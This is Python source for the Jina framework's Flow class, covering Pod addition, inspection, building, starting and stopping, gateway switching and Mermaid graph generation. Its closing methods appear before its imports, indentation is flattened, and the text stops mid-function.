def use_grpc_gateway(self, port: Optional[int] = None):
"""Change to use gRPC gateway for Flow IO.
You can change the gateway even in the runtime.
:param port: the new port number to expose
"""
self._switch_gateway('GRPCRuntime', port)
def _switch_gateway(self, gateway: str, port: int):
restful = gateway == 'RESTRuntime'
# globally register this at Flow level
self.args.restful = restful
if port:
self.args.port_expose = port
# Flow is build to graph already
if self._build_level >= FlowBuildLevel.GRAPH:
self['gateway'].args.restful = restful
self['gateway'].args.runtime_cls = gateway
if port:
self['gateway'].args.port_expose = port
# Flow is running already, then close the existing gateway
if self._build_level >= FlowBuildLevel.RUNNING:
self['gateway'].close()
self.enter_context(self['gateway'])
self['gateway'].wait_start_success()
def use_rest_gateway(self, port: Optional[int] = None):
"""Change to use REST gateway for IO.
You can change the gateway even in the runtime.
:param port: the new port number to expose
"""
self._switch_gateway('RESTRuntime', port)
def __getitem__(self, item):
if isinstance(item, str):
return self._pod_nodes[item]
elif isinstance(item, int):
return list(self._pod_nodes.values())[item]
else:
raise TypeError(f'{typename(item)} is not supported')
@property
def workspace(self) -> str:
"""Return the workspace path of the flow.
.. # noqa: DAR201"""
return os.path.abspath(self.args.workspace or './')
@property
def workspace_id(self) -> Dict[str, str]:
"""Get all Pods' ``workspace_id`` values in a dict
.. # noqa: DAR201"""
return {
k: p.args.workspace_id for k, p in self if hasattr(p.args, 'workspace_id')
}
@workspace_id.setter
def workspace_id(self, value: str):
"""Set all Pods' ``workspace_id`` to ``value``
:param value: a hexadecimal UUID string
"""
uuid.UUID(value)
for k, p in self:
if hasattr(p.args, 'workspace_id'):
p.args.workspace_id = value
args = getattr(p, 'peas_args', getattr(p, 'replicas_args', None))
if args is None:
raise ValueError(
f'could not find "peas_args" or "replicas_args" on {p}'
)
values = None
if isinstance(args, dict):
values = args.values()
elif isinstance(args, list):
values = args
for v in values:
if v and isinstance(v, argparse.Namespace):
v.workspace_id = value
if v and isinstance(v, List):
for i in v:
i.workspace_id = value
@property
def identity(self) -> Dict[str, str]:
"""Get all Pods' ``identity`` values in a dict
.. # noqa: DAR201
"""
return {k: p.args.identity for k, p in self}
@identity.setter
def identity(self, value: str):
"""Set all Pods' ``identity`` to ``value``
:param value: a hexadecimal UUID string
"""
uuid.UUID(value)
# Re-initiating logger with new identity
self.logger = JinaLogger(self.__class__.__name__, **vars(self.args))
for _, p in self:
p.args.identity = value
# for backward support
join = needs
def rolling_update(self, pod_name: str, dump_path: Optional[str] = None):
"""
Reload Pods sequentially - only used for compound pods.
:param dump_path: the path from which to read the dump data
:param pod_name: pod to update
"""
# TODO: By design after the Flow object started, Flow shouldn't have memory access to its sub-objects anymore.
# All controlling should be issued via Network Request, not via memory access.
# In the current master, we have Flow.rolling_update() & Flow.dump() method avoid the above design.
# Avoiding this design make the whole system NOT cloud-native.
warnings.warn(
'This function is experimental and facing potential refactoring',
FutureWarning,
)
compound_pod = self._pod_nodes[pod_name]
if isinstance(compound_pod, CompoundPod):
compound_pod.rolling_update(dump_path)
else:
raise ValueError(
f'The BasePod {pod_name} is not a CompoundPod and does not support updating'
)
| import argparse
import base64
import copy
import os
import re
import threading
import uuid
import warnings
from collections import OrderedDict, defaultdict
from contextlib import ExitStack
from typing import Optional, Union, Tuple, List, Set, Dict, overload, Type
from .builder import build_required, _build_flow, _hanging_pods
from .. import __default_host__
from ..clients import Client
from ..clients.mixin import AsyncPostMixin, PostMixin
from ..enums import FlowBuildLevel, PodRoleType, FlowInspectType
from ..excepts import FlowTopologyError, FlowMissingPodError
from ..helper import (
colored,
get_public_ip,
get_internal_ip,
typename,
ArgNamespace,
download_mermaid_url,
)
from ..jaml import JAMLCompatible
from ..logging.logger import JinaLogger
from ..parsers import set_gateway_parser, set_pod_parser
from ..peapods import Pod
from ..peapods.pods.compound import CompoundPod
from ..peapods.pods.factory import PodFactory
__all__ = ['Flow']
class FlowType(type(ExitStack), type(JAMLCompatible)):
"""Type of Flow, metaclass of :class:`BaseFlow`"""
pass
_regex_port = r'(.*?):([0-9]{1,4}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$'
if False:
from ..peapods import BasePod
from ..executors import BaseExecutor
from ..clients.base import BaseClient
class Flow(PostMixin, JAMLCompatible, ExitStack, metaclass=FlowType):
"""Flow is how Jina streamlines and distributes Executors. """
# overload_inject_start_flow
@overload
def __init__(
self,
asyncio: Optional[bool] = False,
continue_on_error: Optional[bool] = False,
description: Optional[str] = None,
env: Optional[dict] = None,
host: Optional[str] = '0.0.0.0',
inspect: Optional[str] = 'COLLECT',
log_config: Optional[str] = None,
name: Optional[str] = None,
port_expose: Optional[int] = None,
proxy: Optional[bool] = False,
quiet: Optional[bool] = False,
quiet_error: Optional[bool] = False,
request_size: Optional[int] = 100,
restful: Optional[bool] = False,
return_results: Optional[bool] = False,
show_progress: Optional[bool] = False,
uses: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
workspace: Optional[str] = './',
**kwargs,
):
"""Create a Flow. Flow is how Jina streamlines and scales Executors
:param asyncio: If set, then the input and output of this Client work in an asynchronous manner.
:param continue_on_error: If set, a Request that causes error will be logged only without blocking the further requests.
:param description: The description of this object. It will be used in automatics docs UI.
:param env: The map of environment variables that are available inside runtime
:param host: The host address of the runtime, by default it is 0.0.0.0.
:param inspect: The strategy on those inspect pods in the flow.
If `REMOVE` is given then all inspect pods are removed when building the flow.
:param log_config: The YAML config of the logger used in this object.
:param name: The name of this object.
This will be used in the following places:
- how you refer to this object in Python/YAML/CLI
- visualization
- log message header
- automatics docs UI
- ...
When not given, then the default naming strategy will apply.
:param port_expose: The port of the host exposed to the public
:param proxy: If set, respect the http_proxy and https_proxy environment variables. otherwise, it will unset these proxy variables before start. gRPC seems to prefer no proxy
:param quiet: If set, then no log will be emitted from this object.
:param quiet_error: If set, then exception stack information will not be added to the log
:param request_size: The number of Documents in each Request.
:param restful: If set, use RESTful interface instead of gRPC as the main interface. This expects the corresponding Flow to be set with --restful as well.
:param return_results: This feature is only used for AsyncClient.
If set, the results of all Requests will be returned as a list. This is useful when one wants
process Responses in bulk instead of using callback.
:param show_progress: If set, client will show a progress bar on receiving every request.
:param uses: The YAML file represents a flow
:param workspace: The working directory for any IO operations in this object. If not set, then derive from its parent `workspace`.
.. # noqa: DAR202
.. # noqa: DAR101
.. # noqa: DAR003
"""
# overload_inject_end_flow
def __init__(
self,
args: Optional['argparse.Namespace'] = None,
**kwargs,
):
super().__init__()
self._version = '1' #: YAML version number, this will be later overridden if YAML config says the other way
self._pod_nodes = OrderedDict() # type: Dict[str, BasePod]
self._inspect_pods = {} # type: Dict[str, str]
self._build_level = FlowBuildLevel.EMPTY
self._last_changed_pod = [
'gateway'
] #: default first pod is gateway, will add when build()
self._update_args(args, **kwargs)
if isinstance(self.args, argparse.Namespace):
self.logger = JinaLogger(
self.__class__.__name__, **vars(self.args), **self._common_kwargs
)
else:
self.logger = JinaLogger(self.__class__.__name__, **self._common_kwargs)
def _update_args(self, args, **kwargs):
from ..parsers.flow import set_flow_parser
from ..helper import ArgNamespace
_flow_parser = set_flow_parser()
if args is None:
args = ArgNamespace.kwargs2namespace(kwargs, _flow_parser)
self.args = args
# common args should be the ones that can not be parsed by _flow_parser
known_keys = vars(args)
self._common_kwargs = {k: v for k, v in kwargs.items() if k not in known_keys}
self._kwargs = ArgNamespace.get_non_defaults_args(
args, _flow_parser
) #: for yaml dump
base_cls = self.__class__
base_cls_name = self.__class__.__name__
if self.args.asyncio and not isinstance(self, AsyncPostMixin):
self.__class__ = type(base_cls_name, (AsyncPostMixin, base_cls), {})
@staticmethod
def _parse_endpoints(op_flow, pod_name, endpoint, connect_to_last_pod=False) -> Set:
# parsing needs
if isinstance(endpoint, str):
endpoint = [endpoint]
elif not endpoint:
if op_flow._last_changed_pod and connect_to_last_pod:
endpoint = [op_flow.last_pod]
else:
endpoint = []
if isinstance(endpoint, (list, tuple)):
for idx, s in enumerate(endpoint):
if s == pod_name:
raise FlowTopologyError(
'the income/output of a pod can not be itself'
)
else:
raise ValueError(f'endpoint={endpoint} is not parsable')
# if an endpoint is being inspected, then replace it with inspected Pod
endpoint = set(op_flow._inspect_pods.get(ep, ep) for ep in endpoint)
return endpoint
@property
def last_pod(self):
"""Last pod
.. # noqa: DAR401
.. # noqa: DAR201
"""
return self._last_changed_pod[-1]
@last_pod.setter
def last_pod(self, name: str):
"""
Set a Pod as the last Pod in the Flow, useful when modifying the Flow.
.. # noqa: DAR401
:param name: the name of the existing Pod
"""
if name not in self._pod_nodes:
raise FlowMissingPodError(f'{name} can not be found in this Flow')
if self._last_changed_pod and name == self.last_pod:
pass
else:
self._last_changed_pod.append(name)
# graph is now changed so we need to
# reset the build level to the lowest
self._build_level = FlowBuildLevel.EMPTY
def _add_gateway(self, needs, **kwargs):
pod_name = 'gateway'
kwargs.update(
dict(
name=pod_name,
ctrl_with_ipc=True, # otherwise ctrl port would be conflicted
runtime_cls='RESTRuntime' if self.args.restful else 'GRPCRuntime',
pod_role=PodRoleType.GATEWAY,
)
)
kwargs.update(vars(self.args))
kwargs.update(self._common_kwargs)
args = ArgNamespace.kwargs2namespace(kwargs, set_gateway_parser())
self._pod_nodes[pod_name] = Pod(args, needs)
def needs(
self, needs: Union[Tuple[str], List[str]], name: str = 'joiner', *args, **kwargs
) -> 'Flow':
"""
Add a blocker to the Flow, wait until all peas defined in **needs** completed.
.. # noqa: DAR401
:param needs: list of service names to wait
:param name: the name of this joiner, by default is ``joiner``
:param args: additional positional arguments forwarded to the add function
:param kwargs: additional key value arguments forwarded to the add function
:return: the modified Flow
"""
if len(needs) <= 1:
raise FlowTopologyError(
'no need to wait for a single service, need len(needs) > 1'
)
return self.add(
name=name, needs=needs, pod_role=PodRoleType.JOIN, *args, **kwargs
)
def needs_all(self, name: str = 'joiner', *args, **kwargs) -> 'Flow':
"""
Collect all hanging Pods so far and add a blocker to the Flow; wait until all handing peas completed.
:param name: the name of this joiner (default is ``joiner``)
:param args: additional positional arguments which are forwarded to the add and needs function
:param kwargs: additional key value arguments which are forwarded to the add and needs function
:return: the modified Flow
"""
needs = _hanging_pods(self)
if len(needs) == 1:
return self.add(name=name, needs=needs, *args, **kwargs)
return self.needs(name=name, needs=needs, *args, **kwargs)
# overload_inject_start_pod
@overload
def add(
self,
ctrl_with_ipc: Optional[bool] = False,
daemon: Optional[bool] = False,
description: Optional[str] = None,
docker_kwargs: Optional[dict] = None,
entrypoint: Optional[str] = None,
env: Optional[dict] = None,
expose_public: Optional[bool] = False,
external: Optional[bool] = False,
host: Optional[str] = '0.0.0.0',
host_in: Optional[str] = '0.0.0.0',
host_out: Optional[str] = '0.0.0.0',
log_config: Optional[str] = None,
memory_hwm: Optional[int] = -1,
name: Optional[str] = None,
on_error_strategy: Optional[str] = 'IGNORE',
parallel: Optional[int] = 1,
peas_hosts: Optional[List[str]] = None,
polling: Optional[str] = 'ANY',
port_ctrl: Optional[int] = None,
port_expose: Optional[int] = None,
port_in: Optional[int] = None,
port_out: Optional[int] = None,
proxy: Optional[bool] = False,
pull_latest: Optional[bool] = False,
py_modules: Optional[List[str]] = None,
quiet: Optional[bool] = False,
quiet_error: Optional[bool] = False,
quiet_remote_logs: Optional[bool] = False,
replicas: Optional[int] = 1,
runtime_backend: Optional[str] = 'PROCESS',
runtime_cls: Optional[str] = 'ZEDRuntime',
scheduling: Optional[str] = 'LOAD_BALANCE',
socket_in: Optional[str] = 'PULL_BIND',
socket_out: Optional[str] = 'PUSH_BIND',
ssh_keyfile: Optional[str] = None,
ssh_password: Optional[str] = None,
ssh_server: Optional[str] = None,
timeout_ctrl: Optional[int] = 5000,
timeout_ready: Optional[int] = 600000,
upload_files: Optional[List[str]] = None,
uses: Optional[Union[str, Type['BaseExecutor'], dict]] = 'BaseExecutor',
uses_after: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
uses_before: Optional[Union[str, Type['BaseExecutor'], dict]] = None,
uses_internal: Optional[
Union[str, Type['BaseExecutor'], dict]
] = 'BaseExecutor',
volumes: Optional[List[str]] = None,
workspace: Optional[str] = None,
workspace_id: Optional[str] = None,
**kwargs,
) -> 'Flow':
"""Add an Executor to the current Flow object.
:param ctrl_with_ipc: If set, use ipc protocol for control socket
:param daemon: The Pea attempts to terminate all of its Runtime child processes/threads on existing. setting it to true basically tell the Pea do not wait on the Runtime when closing
:param description: The description of this object. It will be used in automatics docs UI.
:param docker_kwargs: Dictionary of kwargs arguments that will be passed to Docker SDK when starting the docker '
container.
More details can be found in the Docker SDK docs: https://docker-py.readthedocs.io/en/stable/
:param entrypoint: The entrypoint command overrides the ENTRYPOINT in Docker image. when not set then the Docker image ENTRYPOINT takes effective.
:param env: The map of environment variables that are available inside runtime
:param expose_public: If set, expose the public IP address to remote when necessary, by default it exposesprivate IP address, which only allows accessing under the same network/subnet. Important to set this to true when the Pea will receive input connections from remote Peas
:param external: The Pod will be considered an external Pod that has been started independently from the Flow. This Pod will not be context managed by the Flow, and is considered with `--freeze-network-settings`
:param host: The host address of the runtime, by default it is 0.0.0.0.
:param host_in: The host address for input, by default it is 0.0.0.0
:param host_out: The host address for output, by default it is 0.0.0.0
:param log_config: The YAML config of the logger used in this object.
:param memory_hwm: The memory high watermark of this pod in Gigabytes, pod will restart when this is reached. -1 means no restriction
:param name: The name of this object.
This will be used in the following places:
- how you refer to this object in Python/YAML/CLI
- visualization
- log message header
- automatics docs UI
- ...
When not given, then the default naming strategy will apply.
:param on_error_strategy: The skip strategy on exceptions.
- IGNORE: Ignore it, keep running all Executors in the sequel flow
- SKIP_HANDLE: Skip all Executors in the sequel, only `pre_hook` and `post_hook` are called
- THROW_EARLY: Immediately throw the exception, the sequel flow will not be running at all
Note, `IGNORE`, `SKIP_EXECUTOR` and `SKIP_HANDLE` do not guarantee the success execution in the sequel flow. If something
is wrong in the upstream, it is hard to carry this exception and moving forward without any side-effect.
:param parallel: The number of parallel peas in the pod running at the same time, `port_in` and `port_out` will be set to random, and routers will be added automatically when necessary
:param peas_hosts: The hosts of the peas when parallel greater than 1.
Peas will be evenly distributed among the hosts. By default,
peas are running on host provided by the argument ``host``
:param polling: The polling strategy of the Pod (when `parallel>1`)
- ANY: only one (whoever is idle) Pea polls the message
- ALL: all Peas poll the message (like a broadcast)
:param port_ctrl: The port for controlling the runtime, default a random port between [49152, 65535]
:param port_expose: The port of the host exposed to the public
:param port_in: The port for input data, default a random port between [49152, 65535]
:param port_out: The port for output data, default a random port between [49152, 65535]
:param proxy: If set, respect the http_proxy and https_proxy environment variables. otherwise, it will unset these proxy variables before start. gRPC seems to prefer no proxy
:param pull_latest: Pull the latest image before running
:param py_modules: The customized python modules need to be imported before loading the executor
Note, when importing multiple files and there is a dependency between them, then one has to write the dependencies in
reverse order. That is, if `__init__.py` depends on `A.py`, which again depends on `B.py`, then you need to write:
--py-modules __init__.py --py-modules B.py --py-modules A.py
:param quiet: If set, then no log will be emitted from this object.
:param quiet_error: If set, then exception stack information will not be added to the log
:param quiet_remote_logs: Do not display the streaming of remote logs on local console
:param replicas: The number of replicas in the pod, `port_in` and `port_out` will be set to random, and routers will be added automatically when necessary
:param runtime_backend: The parallel backend of the runtime inside the Pea
:param runtime_cls: The runtime class to run inside the Pea
:param scheduling: The strategy of scheduling workload among Peas
:param socket_in: The socket type for input port
:param socket_out: The socket type for output port
:param ssh_keyfile: This specifies a key to be used in ssh login, default None. regular default ssh keys will be used without specifying this argument.
:param ssh_password: The ssh password to the ssh server.
:param ssh_server: The SSH server through which the tunnel will be created, can actually be a fully specified `user@server:port` ssh url.
:param timeout_ctrl: The timeout in milliseconds of the control request, -1 for waiting forever
:param timeout_ready: The timeout in milliseconds of a Pea waits for the runtime to be ready, -1 for waiting forever
:param upload_files: The files on the host to be uploaded to the remote
workspace. This can be useful when your Pod has more
file dependencies beyond a single YAML file, e.g.
Python files, data files.
Note,
- currently only flatten structure is supported, which means if you upload `[./foo/a.py, ./foo/b.pp, ./bar/c.yml]`, then they will be put under the _same_ workspace on the remote, losing all hierarchies.
- by default, `--uses` YAML file is always uploaded.
- uploaded files are by default isolated across the runs. To ensure files are submitted to the same workspace across different runs, use `--workspace-id` to specify the workspace.
:param uses: The config of the executor, it could be one of the followings:
* an Executor-level YAML file path (.yml, .yaml, .jaml)
* a docker image (must start with `docker://`)
* the string literal of a YAML config (must start with `!` or `jtype: `)
* the string literal of a JSON config
When use it under Python, one can use the following values additionally:
- a Python dict that represents the config
- a text file stream has `.read()` interface
:param uses_after: The executor attached after the Peas described by --uses, typically used for receiving from all parallels, accepted type follows `--uses`
:param uses_before: The executor attached after the Peas described by --uses, typically before sending to all parallels, accepted type follows `--uses`
:param uses_internal: The config runs inside the Docker container.
Syntax and function are the same as `--uses`. This is designed when `--uses="docker://..."` this config is passed to
the Docker container.
:param volumes: The path on the host to be mounted inside the container.
Note,
- If separated by `:`, then the first part will be considered as the local host path and the second part is the path in the container system.
- If no split provided, then the basename of that directory will be mounted into container's root path, e.g. `--volumes="/user/test/my-workspace"` will be mounted into `/my-workspace` inside the container.
- All volumes are mounted with read-write mode.
:param workspace: The working directory for any IO operations in this object. If not set, then derive from its parent `workspace`.
:param workspace_id: the UUID for identifying the workspace. When not given a random id will be assigned.Multiple Pea/Pod/Flow will work under the same workspace if they share the same `workspace-id`.
:return: a (new) Flow object with modification
.. # noqa: DAR202
.. # noqa: DAR101
.. # noqa: DAR003
"""
# overload_inject_end_pod
def add(
self,
needs: Optional[Union[str, Tuple[str], List[str]]] = None,
copy_flow: bool = True,
pod_role: 'PodRoleType' = PodRoleType.POD,
**kwargs,
) -> 'Flow':
"""
Add a Pod to the current Flow object and return the new modified Flow object.
The attribute of the Pod can be later changed with :py:meth:`set` or deleted with :py:meth:`remove`
.. # noqa: DAR401
:param needs: the name of the Pod(s) that this Pod receives data from.
One can also use 'gateway' to indicate the connection with the gateway.
:param pod_role: the role of the Pod, used for visualization and route planning
:param copy_flow: when set to true, then always copy the current Flow and do the modification on top of it then return, otherwise, do in-line modification
:param kwargs: other keyword-value arguments that the Pod CLI supports
:return: a (new) Flow object with modification
"""
op_flow = copy.deepcopy(self) if copy_flow else self
# pod naming logic
pod_name = kwargs.get('name', None)
if pod_name in op_flow._pod_nodes:
new_name = f'{pod_name}{len(op_flow._pod_nodes)}'
self.logger.debug(
f'"{pod_name}" is used in this Flow already! renamed it to "{new_name}"'
)
pod_name = new_name
if not pod_name:
pod_name = f'pod{len(op_flow._pod_nodes)}'
if not pod_name.isidentifier():
# hyphen - can not be used in the name
raise ValueError(
f'name: {pod_name} is invalid, please follow the python variable name conventions'
)
# needs logic
needs = op_flow._parse_endpoints(
op_flow, pod_name, needs, connect_to_last_pod=True
)
# set the kwargs inherit from `Flow(kwargs1=..., kwargs2=)`
for key, value in op_flow._common_kwargs.items():
if key not in kwargs:
kwargs[key] = value
# check if host is set to remote:port
if 'host' in kwargs:
m = re.match(_regex_port, kwargs['host'])
if (
kwargs.get('host', __default_host__) != __default_host__
and m
and 'port_expose' not in kwargs
):
kwargs['port_expose'] = m.group(2)
kwargs['host'] = m.group(1)
# update kwargs of this Pod
kwargs.update(dict(name=pod_name, pod_role=pod_role, num_part=len(needs)))
parser = set_pod_parser()
if pod_role == PodRoleType.GATEWAY:
parser = set_gateway_parser()
args = ArgNamespace.kwargs2namespace(kwargs, parser)
# pod workspace if not set then derive from flow workspace
args.workspace = os.path.abspath(args.workspace or self.workspace)
op_flow._pod_nodes[pod_name] = PodFactory.build_pod(args, needs)
op_flow.last_pod = pod_name
return op_flow
def inspect(self, name: str = 'inspect', *args, **kwargs) -> 'Flow':
"""Add an inspection on the last changed Pod in the Flow
Internally, it adds two Pods to the Flow. But don't worry, the overhead is minimized and you
can remove them by simply using `Flow(inspect=FlowInspectType.REMOVE)` before using the Flow.
.. highlight:: bash
.. code-block:: bash
Flow -- PUB-SUB -- BasePod(_pass) -- Flow
|
-- PUB-SUB -- InspectPod (Hanging)
In this way, :class:`InspectPod` looks like a simple ``_pass`` from outside and
does not introduce side-effects (e.g. changing the socket type) to the original Flow.
The original incoming and outgoing socket types are preserved.
This function is very handy for introducing an Evaluator into the Flow.
.. seealso::
:meth:`gather_inspect`
:param name: name of the Pod
:param args: args for .add()
:param kwargs: kwargs for .add()
:return: the new instance of the Flow
"""
_last_pod = self.last_pod
op_flow = self.add(
name=name, needs=_last_pod, pod_role=PodRoleType.INSPECT, *args, **kwargs
)
# now remove uses and add an auxiliary Pod
if 'uses' in kwargs:
kwargs.pop('uses')
op_flow = op_flow.add(
name=f'_aux_{name}',
needs=_last_pod,
pod_role=PodRoleType.INSPECT_AUX_PASS,
*args,
**kwargs,
)
# register any future connection to _last_pod by the auxiliary Pod
op_flow._inspect_pods[_last_pod] = op_flow.last_pod
return op_flow
def gather_inspect(
self,
name: str = 'gather_inspect',
include_last_pod: bool = True,
*args,
**kwargs,
) -> 'Flow':
"""Gather all inspect Pods output into one Pod. When the Flow has no inspect Pod then the Flow itself
is returned.
.. note::
If ``--no-inspect`` is **not** given, then :meth:`gather_inspect` is auto called before :meth:`build`. So
in general you don't need to manually call :meth:`gather_inspect`.
:param name: the name of the gather Pod
:param include_last_pod: if to include the last modified Pod in the Flow
:param args: args for .add()
:param kwargs: kwargs for .add()
:return: the modified Flow or the copy of it
.. seealso::
:meth:`inspect`
"""
needs = [k for k, v in self._pod_nodes.items() if v.role == PodRoleType.INSPECT]
if needs:
if include_last_pod:
needs.append(self.last_pod)
return self.add(
name=name,
needs=needs,
pod_role=PodRoleType.JOIN_INSPECT,
*args,
**kwargs,
)
else:
# no inspect node is in the graph, return the current graph
return self
def build(self, copy_flow: bool = False) -> 'Flow':
"""
Build the current Flow and make it ready to use
.. note::
No need to manually call it since 0.0.8. When using Flow with the
context manager, or using :meth:`start`, :meth:`build` will be invoked.
:param copy_flow: when set to true, then always copy the current Flow and do the modification on top of it then return, otherwise, do in-line modification
:return: the current Flow (by default)
.. note::
``copy_flow=True`` is recommended if you are building the same Flow multiple times in a row. e.g.
.. highlight:: python
.. code-block:: python
f = Flow()
with f:
f.index()
with f.build(copy_flow=True) as fl:
fl.search()
.. # noqa: DAR401
"""
op_flow = copy.deepcopy(self) if copy_flow else self
if op_flow.args.inspect == FlowInspectType.COLLECT:
op_flow.gather_inspect(copy_flow=False)
if 'gateway' not in op_flow._pod_nodes:
op_flow._add_gateway(needs={op_flow.last_pod})
# construct a map with a key a start node and values an array of its end nodes
_outgoing_map = defaultdict(list)
# if set no_inspect then all inspect related nodes are removed
if op_flow.args.inspect == FlowInspectType.REMOVE:
op_flow._pod_nodes = {
k: v for k, v in op_flow._pod_nodes.items() if not v.role.is_inspect
}
reverse_inspect_map = {v: k for k, v in op_flow._inspect_pods.items()}
for end, pod in op_flow._pod_nodes.items():
# if an endpoint is being inspected, then replace it with inspected Pod
# but not those inspect related node
if op_flow.args.inspect.is_keep:
pod.needs = set(
ep if pod.role.is_inspect else op_flow._inspect_pods.get(ep, ep)
for ep in pod.needs
)
else:
pod.needs = set(reverse_inspect_map.get(ep, ep) for ep in pod.needs)
for start in pod.needs:
if start not in op_flow._pod_nodes:
raise FlowMissingPodError(
f'{start} is not in this flow, misspelled name?'
)
_outgoing_map[start].append(end)
op_flow = _build_flow(op_flow, _outgoing_map)
hanging_pods = _hanging_pods(op_flow)
if hanging_pods:
op_flow.logger.warning(
f'{hanging_pods} are hanging in this flow with no pod receiving from them, '
f'you may want to double check if it is intentional or some mistake'
)
op_flow._build_level = FlowBuildLevel.GRAPH
return op_flow
def __call__(self, *args, **kwargs):
"""Builds the Flow
:param args: args for build
:param kwargs: kwargs for build
:return: the built Flow
"""
return self.build(*args, **kwargs)
def __enter__(self):
class CatchAllCleanupContextManager:
"""
This context manager guarantees, that the :method:``__exit__`` of the
sub context is called, even when there is an Exception in the
:method:``__enter__``.
:param sub_context: The context, that should be taken care of.
"""
def __init__(self, sub_context):
self.sub_context = sub_context
def __enter__(self):
pass
def __exit__(self, exc_type, exc_val, exc_tb):
if exc_type is not None:
self.sub_context.__exit__(exc_type, exc_val, exc_tb)
with CatchAllCleanupContextManager(self):
return self.start()
def __exit__(self, exc_type, exc_val, exc_tb):
super().__exit__(exc_type, exc_val, exc_tb)
# unset all envs to avoid any side-effect
if self.args.env:
for k in self.args.env.keys():
os.unsetenv(k)
if 'gateway' in self._pod_nodes:
self._pod_nodes.pop('gateway')
self._build_level = FlowBuildLevel.EMPTY
self.logger.success(
f'flow is closed and all resources are released, current build level is {self._build_level}'
)
self.logger.close()
def start(self):
"""Start to run all Pods in this Flow.
Remember to close the Flow with :meth:`close`.
Note that this method has a timeout of ``timeout_ready`` set in CLI,
which is inherited all the way from :class:`jina.peapods.peas.BasePea`
.. # noqa: DAR401
:return: this instance
"""
if self._build_level.value < FlowBuildLevel.GRAPH.value:
self.build(copy_flow=False)
# set env only before the Pod get started
if self.args.env:
for k, v in self.args.env.items():
os.environ[k] = str(v)
for k, v in self:
v.args.noblock_on_start = True
if not getattr(v.args, 'external', False):
self.enter_context(v)
for k, v in self:
try:
if not getattr(v.args, 'external', False):
v.wait_start_success()
except Exception as ex:
self.logger.error(
f'{k}:{v!r} can not be started due to {ex!r}, Flow is aborted'
)
self.close()
raise
self.logger.info(
f'{self.num_pods} Pods (i.e. {self.num_peas} Peas) are running in this Flow'
)
self._build_level = FlowBuildLevel.RUNNING
self._show_success_message()
return self
@property
def num_pods(self) -> int:
"""Get the number of Pods in this Flow
.. # noqa: DAR201"""
return len(self._pod_nodes)
@property
def num_peas(self) -> int:
"""Get the number of peas (parallel count) in this Flow
.. # noqa: DAR201"""
return sum(v.num_peas for v in self._pod_nodes.values())
def __eq__(self, other: 'Flow') -> bool:
"""
Compare the topology of a Flow with another Flow.
Identification is defined by whether two flows share the same set of edges.
:param other: the second Flow object
:return: result of equality check
"""
if self._build_level.value < FlowBuildLevel.GRAPH.value:
a = self.build()
else:
a = self
if other._build_level.value < FlowBuildLevel.GRAPH.value:
b = other.build()
else:
b = other
return a._pod_nodes == b._pod_nodes
@property
@build_required(FlowBuildLevel.GRAPH)
def client(self) -> 'BaseClient':
"""Return a :class:`BaseClient` object attach to this Flow.
.. # noqa: DAR201"""
self.args.port_expose = self.port_expose
self.args.host = self.host
self.args.show_progress = True
return Client(self.args)
@property
def _mermaid_str(self):
mermaid_graph = [
"%%{init: {'theme': 'base', "
"'themeVariables': { 'primaryColor': '#32C8CD', "
"'edgeLabelBackground':'#fff', 'clusterBkg': '#FFCC66'}}}%%",
'graph LR',
]
start_repl = {}
end_repl = {}
for node, v in self._pod_nodes.items():
if not v.is_singleton and v.role != PodRoleType.GATEWAY:
if v.args.replicas == 1:
mermaid_graph.append(
f'subgraph sub_{node} ["{node} ({v.args.parallel})"]'
)
else:
mermaid_graph.append(
f'subgraph sub_{node} ["{node} ({v.args.replicas})({v.args.parallel})"]'
)
if v.is_head_router:
head_router = node + '_HEAD'
end_repl[node] = (head_router, '((fa:fa-random))')
if v.is_tail_router:
tail_router = node + '_TAIL'
start_repl[node] = (tail_router, '((fa:fa-random))')
for i in range(v.args.replicas):
if v.is_head_router:
head_replica_router = node + f'_{i}_HEAD'
if v.args.replicas == 1:
end_repl[node] = (head_replica_router, '((fa:fa-random))')
if v.is_tail_router:
tail_replica_router = node + f'_{i}_TAIL'
if v.args.replicas == 1:
start_repl[node] = (tail_replica_router, '((fa:fa-random))')
p_r = '((%s))'
p_e = '[[%s]]'
if v.args.replicas > 1:
mermaid_graph.append(
f'\t{head_router}{p_r % "head"}:::pea-->{head_replica_router}{p_e % "replica_head"}:::pea'
)
mermaid_graph.append(
f'\t{tail_replica_router}{p_r % "replica_tail"}:::pea-->{tail_router}{p_e % "tail"}:::pea'
)
for j in range(v.args.parallel):
r = node
if v.args.replicas > 1:
r += f'_{i}_{j}'
elif v.args.parallel > 1:
r += f'_{j}'
if v.is_head_router:
mermaid_graph.append(
f'\t{head_replica_router}{p_r % "head"}:::pea-->{r}{p_e % r}:::pea'
)
if v.is_tail_router:
mermaid_graph.append(
f'\t{r}{p_e % r}:::pea-->{tail_replica_router}{p_r % "tail"}:::pea'
)
mermaid_graph.append('end')
for node, v in self._pod_nodes.items():
ed_str = str(v.head_args.socket_in).split('_')[0]
for need in sorted(v.needs):
edge_str = ''
if need in self._pod_nodes:
st_str = str(self._pod_nodes[need].tail_args.socket_out).split('_')[
0
]
edge_str = f'|{st_str}-{ed_str}|'
_s = start_repl.get(need, (need, f'({need})'))
_e = end_repl.get(node, (node, f'({node})'))
_s_role = self._pod_nodes[need].role
_e_role = self._pod_nodes[node].role
line_st = '-->'
if _s_role in {PodRoleType.INSPECT, PodRoleType.JOIN_INSPECT}:
_s = start_repl.get(need, (need, f'{{{{{need}}}}}'))
if _e_role == PodRoleType.GATEWAY:
_e = ('gateway_END', f'({node})')
elif _e_role in {PodRoleType.INSPECT, PodRoleType.JOIN_INSPECT}:
_e = end_repl.get(node, (node, f'{{{{{node}}}}}'))
if _s_role == PodRoleType.INSPECT or _e_role == PodRoleType.INSPECT:
line_st = '-.->'
mermaid_graph.append(
f'{_s[0]}{_s[1]}:::{str(_s_role)} {line_st} {edge_str}{_e[0]}{_e[1]}:::{str(_e_role)}'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.POD)} fill:#32C8CD,stroke:#009999'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.INSPECT)} fill:#ff6666,color:#fff'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.JOIN_INSPECT)} fill:#ff6666,color:#fff'
)
mermaid_graph.append(
f'classDef {str(PodRoleType.GATEWAY)} fill:#6E7278,color:#fff'
)
mermaid_graph.append(
